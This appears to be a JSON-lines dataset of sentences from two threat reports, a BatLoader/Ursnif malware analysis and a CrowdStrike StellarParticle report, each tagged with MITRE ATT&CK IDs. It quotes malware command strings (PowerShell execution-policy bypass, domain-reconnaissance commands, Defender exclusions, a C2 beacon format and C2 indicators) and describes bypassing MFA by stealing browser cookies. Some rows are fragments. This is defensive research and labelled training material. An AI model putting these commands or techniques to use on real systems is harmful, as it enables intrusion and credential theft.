{"sentence": "The Ursnif version we observed can exfiltrate browser credentials and cookies, Thunderbird and Outlook profiles, POP3, SMTP passwords.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Upon execution, ISFB creates a persistence via Registry Run Keys under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.", "labels": ["T1547.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The registry value VirtualStop (the registry values can be different based on the wordlist table hardcoded in the binary).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The registry value contains the command that launches the shortcut (LNK) which contains powershell.exe in the relative path.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The PowerShell starts the CollectMirrow.ps1 script under %USERPROFILE% folder bypassing the PowerShell’s execution policy.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The command execution example: cmd /c start C:\\Users\\<username>\\VirtualStop.lnk", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "-ep unrestricted -file C:\\Users\\<username>\\CollectMirrow.ps1 The CollectMirror.ps1 script contains the PowerShell one-liner (Figure 15) that pulls the written data from the registry under HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\Microsoft\\<registry_value>>, specifically the TestMouse value (Figure 16).", "labels": ["T1012"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 15: Contents of CollectMirror.ps1 Figure 16: Contents of TestMouse registry value The script performs process injection using the API such as OpenThread (to create a handle to an existing process), VirtualAlloc (memory allocation in the chosen process), and QueueUserAPC, the thread that the APC (Asynchronous Procedure Calls) is queued to has to enter an alertable state, this can be achieved by invoking SleepEx as shown in Figure 17.", "labels": ["T1055", "T1106"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We have observed ISFB injecting itself into a running explorer.exe process.", "labels": ["T1055"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The unpacked sample is approximately 540 KB (MD5: 3aaf34ffbe45e4f54b37392ad1afe9a5).", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "You can read the very well-written analyses by Daniel Bunce here and here, but we will cover the main basics of malware.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The payload locates the BSS section which is where the encrypted strings reside within the function shown in Figure 18 (the hex string 81 38 2E 62 73 73 contains ‘bss’).", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 18: Payload locating the .bss section", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The data stored in the BSS section is encoded as shown in Figure 19. Figure 19: Snipped of the encoded data in the BSS section", "labels": ["T1027", "T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The decompiled code can be seen in Figure 21.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The decryption function is thoroughly described by 0verfl0w (Daniel Bunce) here.", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 21: Decompiled decryption function Figure 22: Decryption function in Python Figure 23: Decrypted strings The second decompressed data blob contains the following:", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Sleep time: 1 second ConfigTimeout (time interval to check for a new configuration): 20 seconds", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The third blob contains the wordlist values shown below: ['list', 'stop', 'computer', 'desktop', 'system', 'service', 'start', 'game', 'stop', 'operation', 'black', 'line', 'white', 'mode', 'link', 'urls', 'text', 'name', 'document', 'type', 'folder', 'mouse', 'file', 'paper', 'mark', 'check', 'mask', 'level', 'memory', 'chip', 'time', 'reply', 'date', 'mirrow', 'settings', 'collect', 'options', 'value', 'manager', 'page', 'control', 'thread', 'operator', 'byte', 'char', 'return', 'device', 'driver', 'tool', 'sheet', 'util', 'book', 'class', 'window', 'handler', 'pack', 'virtual', 'test', 'active', 'collision', 'process', 'make', 'local', 'core'] These words are used to build the registry value names.", "labels": ["T1112"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Another interesting feature of the ISFB is that it stores three embedded binaries within the unpacked payload.", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The binaries are compressed using APLib compression algorithm.", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The decompression function is shown in Figure 24. Figure 24: APLib decompression function To be able to locate the embedded compressed binaries, we need to find the structure of the ISFB payload where it stores the configuration.", "labels": ["T1027", "T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The configuration contains the payload marker or header, XOR key, CRC32 hash, the offset, and the size of each compressed binary (Figure 25).", "labels": ["T1027"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The payload marker defines the version of ISFB.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "FJ – old ISFB version J1 – old ISFB version J2 – DreamBot version J3 – ISFB v3 Japan JJ – ISFB v2.14 and above WD – RM3 Figure 25: Header section containing the configuration The compressed data is separated by the null bytes as shown in Figure 26.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "You can see something resembling C2 domains in the first blob.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 27: Python script to extract and decompress data blobs Figure 28: RSA public key blob ISFB also stores the configuration within the function that parses the payload header (Figure 29).", "labels": ["T1140"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 29: Snippet of the configuration hashes and payload header parsing The following are the hashes of the payload as a result of XORing:", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "0x11271c7f – timer 0x48295783 – timer 0x584e5925 – botnet 0x556aed8f – server 0x4fa8693e – key 0xd0665bf6 – domains 0x54432e74– directory 0xbbb5c71d – extension The traffic beaconing contains the following pattern that will be encrypted with the AES key extracted from the compressed blob: soft=%u&version=%u&user==%08x%08x%08x%08x &server=50&id=10101&crc=61f03b3&uptime=102696&action=%08x&dns=%s&whoami=%s&os=%s soft, version – version of the payload user – the value calculated from applying the RNG (Random Number Generator) algorithm, using the username, computer name, XOR operations, and cpuid call.", "labels": ["T1033", "T1082", "T1573.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "server – server ID id – botnet ID uptime – is the value based on the API calls QueryPerformanceFrequency and QueryPerformanceCounter dns – computer name os – OS version and system type The example of the encrypted with AES-128 beacon, replacing + with _2B and / with _2F, the / are also being added: /uploaded/V1jd62QM3JcPMZGTpdjl2I/mEcoduKcJlNZo/S1Tq0KYy/M2ZEZFPG3iasm8TVeZ5oYf7/m_2FHfl318/E2HneynLJsT2KcKW6/MBeMivC1RFEh/TAL8bLaLD_2/B1Hg1OTg4XQwlG/IJbZJIe0rxQ0SYwzWgYte/TfzvWXXywf9HHwRL/2ZSv_2BcgktHGaZ/hRo7dwwYV3D39_2Bmc/JmEz3Z359/UhGcxj4s_2F80Krry3Kf/tI6i_2BxIXB2d6WASfJ/NCIpYT61pYgL53jx8SghJH/pQnAADp6racXs/VdB_2FRy/o74GaLVJG9neXweATdYNR/5.pct Some interesting strings found: /data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s \\Software\\Microsoft\\Windows\\CurrentVersion SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings %", "labels": ["T1082", "T1106", "T1573.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "APPDATA%\\Mozilla\\Firefox\\Profiles EnableSPDY3_0 \\Macromedia\\Flash Player\\ cookies.sqlite cookies.sqlite-journal Mozilla\\Firefox\\Profiles Microsoft\\Edge\\User Data\\Default Google\\Chrome\\User Data\\Default --use-spdy=off --disable-http2", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "\"%s> %s1\" wmic computersystem get domain |more systeminfo.exe tasklist.exe /SVC > driverquery.exe > reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >", "labels": ["T1012", "T1047"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "\"type %s1 > %s & del %s1\" net view > nslookup 127.0.0.1 > nslookup myip.opendns.com resolver1.opendns.com net config workstation > nltest /domain_trusts > nltest /domain_trusts /all_trusts > net view /all", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "/domain > net view /all > user_pref(\"network.http.spdy.enabled\", false);", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Software\\Microsoft\\Windows", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Mail Software\\Microsoft\\Windows Live Mail account{*}.oeaccount Account_Name encryptedUsername SMTP_Email_Address encryptedPassword EmailAddressCollection/EmailAddress[%u]/Address Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\ Account Name IMAP Server IMAP Password IMAP Use SSL POP3 Server POP3 Password POP3 Use SSL SMTP Server SMTP Password SMTP Use SSL %PROGRAMFILES%\\Mozilla Thunderbird %", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "cmd /c start %", "labels": ["T1059.003"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "s", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "-ep unrestricted -file %s new-alias -name %s -value gp;new-alias -name", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Encoding]::ASCII.GetString((%s \"HKCU:\\%s\").%S))", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "You might have noticed strings such as “user_pref(\"network.http.spdy.enabled\", false);”, “EnableSPDY3_0” and “--use-spdy=off --disable-http2”.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Ursnif disables SPDY and HTTP/2 (successor of SPDY protocol) on the infected host.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "With the protocol implementation, threat actor(s) might have to spend additional time attempting to modify and intercepting the web traffic.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "We still see some remanences from the Ursnif DreamBot in ISFB v2 (file://c:\\test\\tor64.dll), which might suggest that the Tor communication capability is still possible.", "labels": ["T1090"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Vidar Stealer, SystemBC, and Syncro RMM Agent Botnet: 1259 Version: 54.7 C2:", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "t[.]me/trampapanam, nerdculture[.]de/@yoxhyp Upon successful infection, first, the host would reach out to the C2 and retrieve the DLLs (Dynamic Link Library) dependencies such as vcruntime140.dll, sqlite3.dll, softokn3.dll, nss3.dll, msvcp140.dll, mozglue.dll, freebl3.dll for the stealer to be able to extract credentials and cookies from browsers and to function properly.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If you are interesting in understanding in more depth what each library is responsible for, you can review our blog on Mars Stealer.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The stealer then collects the credentials, host information, files, and screenshot and sends it over as a ZIP archive in a base64-encoded format as shown in Figure 30.", "labels": ["T1005", "T1113"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 30: Vidar exfiltrating stolen data We are in the processing of completing a technical analysis of Vidar Stealer, which will be our next blog.", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Syncro RMM is a Remote Monitoring and Management tool used to control and manage devices remotely.", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "In the hands of a malicious actor, this tool can be used as a persistence mechanism and remote accessing.", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "SystemBC RAT also known as “socks5 backconnect system” (MD5: 8ea797eb1796df20d4bdcadf0264ad6c) is a malware that leverages SOCKS5 proxies to hide malicious traffic, it also has the capability of sending additional payloads to the hosts (Figure 31).", "labels": ["T1090", "T1095", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The C2 configuration is shown below: HOST1: 188.127.224.46 HOST2: hgfiudtyukjnio[.]com PORT1: 4251 TOR: 0 If the mutex is present on the host, the instruction would proceed further to check the integrity level of the current malicious process, then it compares to the value 1000 which is SECURITY_MANDATORY_LOW_RID (low integrity level, SID: S-1-16-0), this means the process is restricted and has limited write permissions.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The command to run the scheduled task every 2 minutes is start.", "labels": ["T1053.005"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If the value is equal to 1000, the RAT proceeds to communicate with the C2 (Figure 32).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 32: Function responsible for calling C2, task scheduling, and mutex creation SystemBC is capable of executing scripts and commands retrieved from C2 such as ps1, bat, vbs, and exe (Figure 33).", "labels": ["T1053.005", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The second campaign we observed is slightly different than the first one.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Instead, the installer pushes “avolkov.exe” binary to the infected machine and creates the registry key containing the path of the dropped binary which is AppData/Local/ SetupProject1 (Figure 34).", "labels": ["T1112"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The binary has the C2 embedded inside the binary from where it retrieves the newtest.bat file (Figure 35).", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The batch script is responsible for pulling additional BatLoader payloads and scripts from C2 such as: requestadmin.bat nircmd.exeuser.ps1checkav.ps1scripttodo.ps1 Figure 35: Contents of newtest.bat The requestadmin.bat (Figure 36) retrieved from the second campaign is different compared to the first campaign.", "labels": ["T1059.003", "T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The threat actor(s) made sure to add more paths and folders to Windows Defender exclusion including %TEMP% and C:\\Windows\\* as well as adding .ps1", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "(PowerShell) extension to the exclusion list.", "labels": ["T1562.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 36: Contents of requestadmin.bat The scripttodo.ps1 file still retrieves the same files from the C2, the Cobalt Strike payload (d655) was changed to a DLL instead of EXE and shutdowni.bat is no longer pulled from the C2.", "labels": ["T1105"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "user.ps1 (Figure 37) is similar to scriptodo.ps1 in terms of enumerating the current domain of the host, username, and ARP table.", "labels": ["T1016", "T1033"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If all conditions are satisfied and the host has SID S-1-5-32-544 present (Group Name: BUILTIN\\Administrators), the script outputs “YES”.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Interestingly enough, we have observed QakBot using the same ordinal name to run Cobalt Strike payloads.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 37: Contents of the user.ps1 Another new addition to BatLoader is the antivirus check script (checkav.ps1).", "labels": ["T1518.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "The script checks the host against the list of antiviruses and sends it out to C2 server (Figure 38).", "labels": ["T1518.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 38: Contents of checkav.ps1 Later, threat actor(s) switched from externalchecksso[.]com to internalchecksso[.]com.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Figure 39: Contents of ru.ps1 How eSentire is Responding Our Threat Response Unit (TRU) combines threat intelligence obtained from continuous research and security incidents to create practical outcomes for our customers.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Performing global threat hunts for indicators associated with BatLoader.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Our detection content is supported by investigation runbooks, ensuring our 24/7 SOC Cyber Analysts respond rapidly to any intrusion attempts related to known malware Tactics, Techniques, and Procedures.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "In addition, TRU closely monitors the threat landscape and constantly addresses capability gaps and conducts retroactive threat hunts to assess customer impact.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Recommendations from eSentire's Threat Response Unit (TRU) We recommend implementing the following controls to help secure your organization against BatLoader malware: Confirm that all devices are protected with Endpoint Detection and Response (EDR) solutions Encouraging good cybersecurity hygiene among your users by using Phishing and Security Awareness Training (PSAT) when downloading software from the Internet.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Encourage your employees to use password managers instead of using the password storage feature provided by web browsers.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "While the TTPs used by adversaries grow in sophistication, they lead to a certain level of difficulties at which critical business decisions must be made.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Preventing the various attack paths utilized by the modern threat actor requires actively monitoring the threat landscape, developing, and deploying endpoint detection, and the ability to investigate logs & network data during active intrusions.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "eSentire’s", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "TRU is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Learn what it means to have an elite team of Threat Hunters and Researchers that works for you.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Appendix https://www.mandiant.com/resources/blog/seo-poisoning-batloader-aterahttps://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/https://raw.githubusercontent.com/adbertram/Random-PowerShell-Work/master/Security/GnuPg.psm1https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls?redirectedfrom=MSDNhttps://www.0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/https://www.0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/https://www.0ffset.net/reverse-engineering/challenge-1-gozi-string-crypto/https://research.openanalysis.net/config/python/yara/isfb/rm3/gozi/2022/10/06/isfb.htmlhttps://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealerhttps://www.secureworks.com/404?aspxerrorpath=/research/gozihttps:/www.secureworks.com/research/gozihttps://owasp.org/www-community/attacks/Man-in-the-browser_attack Indicators of Compromise Name Indicators BatLoader C2 updatea1[.]com BatLoader C2 externalchecksso[.]com BatLoader C2 internalcheckssso[.]com Ursnif C2 weiqeqwns[.]com Ursnif C2 > wdeiqeqwns[.]com Ursnif C2 weiqeqwens[.]com Ursnif C2 weiqewqwns[.]com Ursnif C2 iujdhsndjfks[.]com Ursnif C2 trackingg-protectioon.cdn1.mozilla[.]net Ursnif C2 45.8.158[.]104 Ursnif C2 188.127.224[.]114 Ursnif C2 siwdmfkshsgw[.]com Vidar Stealer t[.]me/trampapanam Ursnif C2 Ijduwhsbvk[.]com Vidar Stealer nerdculture[.]de/@yoxhyp SystemBC C2 hgfiudtyukjnio[.]com SystemBC C2(overlaps with Ursnif C2 ISP) 188.127.224[.]46 Cobalt Strike C2 139.60.161[.]74 Redline C2 176.113.115[.]10 MITRE ATT&CK MITRE ATT&CK Tactic ID MITRE ATT&CK Technique Description MITRE ATT&CK Tactic Initial Access ID T1189 MITRE ATT&CK Technique Drive-by Compromise Description BatLoader is delivered via fake software installers MITRE ATT&CK Tactic User Execution ID T1204.002 MITRE ATT&CK Technique Malicious File Description The user launches the malicious MSI file MITRE ATT&CK Tactic Persistence ID T1547.001 MITRE ATT&CK Technique Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Description As a result of BatLoader infection, ISFB malware creates the persistence via Registry Run Keys.", "labels": ["T1547.001"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "Syncro RMM can also be used as a persistence mechanism MITRE ATT&CK Tactic Defense Evasion ID T1562.001 MITRE ATT&CK Technique Impair Defenses:", "labels": ["T1219"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"}
{"sentence": "StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka APT29, “The Dukes”).", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The StellarParticle campaign has continued against multiple organizations, with COZY BEAR using novel tools and techniques to complete their objectives, as identified by CrowdStrike incident responders and the CrowdStrike Intelligence team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Two sophisticated malware families were placed on victim systems in mid-2019: a Linux variant of GoldMax and a new implant dubbed TrailBlazer.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Supply chain compromises are an increasing threat that impacts a range of sectors, with threat actors leveraging access to support several motivations including financial gain (such as with the Kaseya ransomware attack) and espionage.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Throughout 2020, an operation attributed to the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was conducted to gain access to the update mechanism of the SolarWinds IT management software and use it to broaden their intelligence collection capabilities.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These techniques include: Credential hopping for obscuring lateral movement Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation Stealing browser cookies for bypassing multifactor authentication Use of the TrailBlazer implant and the Linux variant of GoldMax malware Credential theft using Get-ADReplAccount Credential Hopping The majority of StellarParticle-related investigations conducted by CrowdStrike have started with the identification of adversary actions within a victim’s O365 environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In multiple engagements, this led CrowdStrike incident responders to identify that the malicious authentications into victim O365 tenants had originated from within the victim’s own network.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Armed with this information, CrowdStrike investigators were able to identify from which systems in these internal networks the threat actor was making authentications to O365.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These authentications would typically occur from servers in the environment, leading to natural investigative questions: Why would a user authenticate into O365 from a domain controller or other infrastructure server?", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "What credentials were used as part of the session from which the O365 authentication occurred?", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This led our responders to identify the occurrence of “credential hopping,” where the threat actor leveraged different credentials for each step while moving laterally through the victim’s network.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While this particular technique is not necessarily unique to the StellarParticle campaign, it indicates a more advanced threat actor and may go unnoticed by a victim.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Below is an example of how a threat actor performs credential hopping: Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account <user sftp> acquired during previous credential theft activities.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Example of “credential hopping” technique This technique could be hard to identify in environments where defenders have little visibility into identity usage.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In the example shown in Figure 1, the threat actor leveraged a service interactively, which should generate detections for defenders to investigate.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "However, the threat actor could have easily used a second domain administrator account or any other combination of accounts that would not be easily detected.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "(Read how CrowdStrike incident responders leverage the module in investigations in this blog: Credentials, Authentications and Hygiene: Supercharging Incident Response with Falcon Identity Threat Detection.)", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "But how had the threat actor succeeded in authenticating into victim O365 tenants, when multifactor authentication (MFA) had been enabled for every O365 user account at each victim organization investigated by CrowdStrike? Cookie Theft to Bypass MFA Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In Windows, Chrome cookies and saved passwords are encrypted using DPAPI.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The user-specific encryption keys for DPAPI are stored under C:\\Users\\<user>\\AppData\\Roaming\\Microsoft\\Protect\\. To leverage these encryption keys, the threat actor must first decrypt them, either by using the user account’s Windows password, or, in Active Directory environments, by using a DPAPI domain backup key that is stored on domain controllers.", "labels": ["T1140"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Once the threat actor had a Chrome cookies file from a user that had already passed an MFA challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using the user’s DPAPI key.", "labels": ["T1140"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The cookies were then added to a new session using a “Cookie Editor” Chrome extension that the threat actor installed on victim systems and removed after using.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Shellbags, Falcon Telemetry and RDP Bitmap Cache From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been challenging to identify, due to the threat actor’s penchant for strict operational security.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This activity was identified via a NewScriptWritten event within Falcon when a JavaScript file was written to disk by a threat actor-initiated Chrome process.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This event captured the unique extension ID associated with the extension, thereby allowing CrowdStrike incident responders to validate via the Chrome Store that the JavaScript file was associated with the “Cookie Editor” plugin.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This extension permitted bypassing MFA requirements, as the cookies, replayed through the Cookie Editor extension, allowed the threat actor to hijack the already MFA-approved session of a targeted user.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Shellbags were also instrumental in identifying the cookie theft activity.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This artifact very clearly showed the threat actor accessing targeted users’ machines in sequence and browsing to the Chrome and DPAPI directories one after another.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Shellbag artifacts showing targeting of Chrome directories CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a target user’s Chrome and DPAPI directories via administrative share, installing the Cookie Editor extension, and using Chrome to impersonate the targeted user in the victim’s cloud tenants.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In cases where the user had only locked their screen and not signed out, the threat actor was able to take over the user’s Windows session, as the RDP session would connect to the existing session of the same user.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
